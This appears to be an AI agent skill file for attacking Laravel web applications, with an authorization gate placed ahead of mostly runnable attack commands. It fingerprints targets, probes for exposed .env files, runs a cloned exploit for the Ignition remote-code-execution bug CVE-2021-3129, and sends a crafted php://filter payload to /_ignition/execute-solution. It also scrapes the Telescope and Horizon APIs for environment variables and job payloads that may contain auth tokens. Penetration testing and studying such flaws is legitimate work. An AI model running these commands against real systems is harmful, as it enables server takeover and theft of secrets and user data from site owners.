How it works

The tool sends requests to the website and analyzes the responses for patterns indicating flaws. It checks if debug modes are active, if sensitive control panels are exposed, or if important configuration files are accessible.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LARAVEL — Laravel Specific Vulnerabilities

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

  • Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
  • Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
  • Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
  • Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
  • .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

Phase 1 — Fingerprint Laravel

# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

Phase 3 — Laravel Telescope & Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
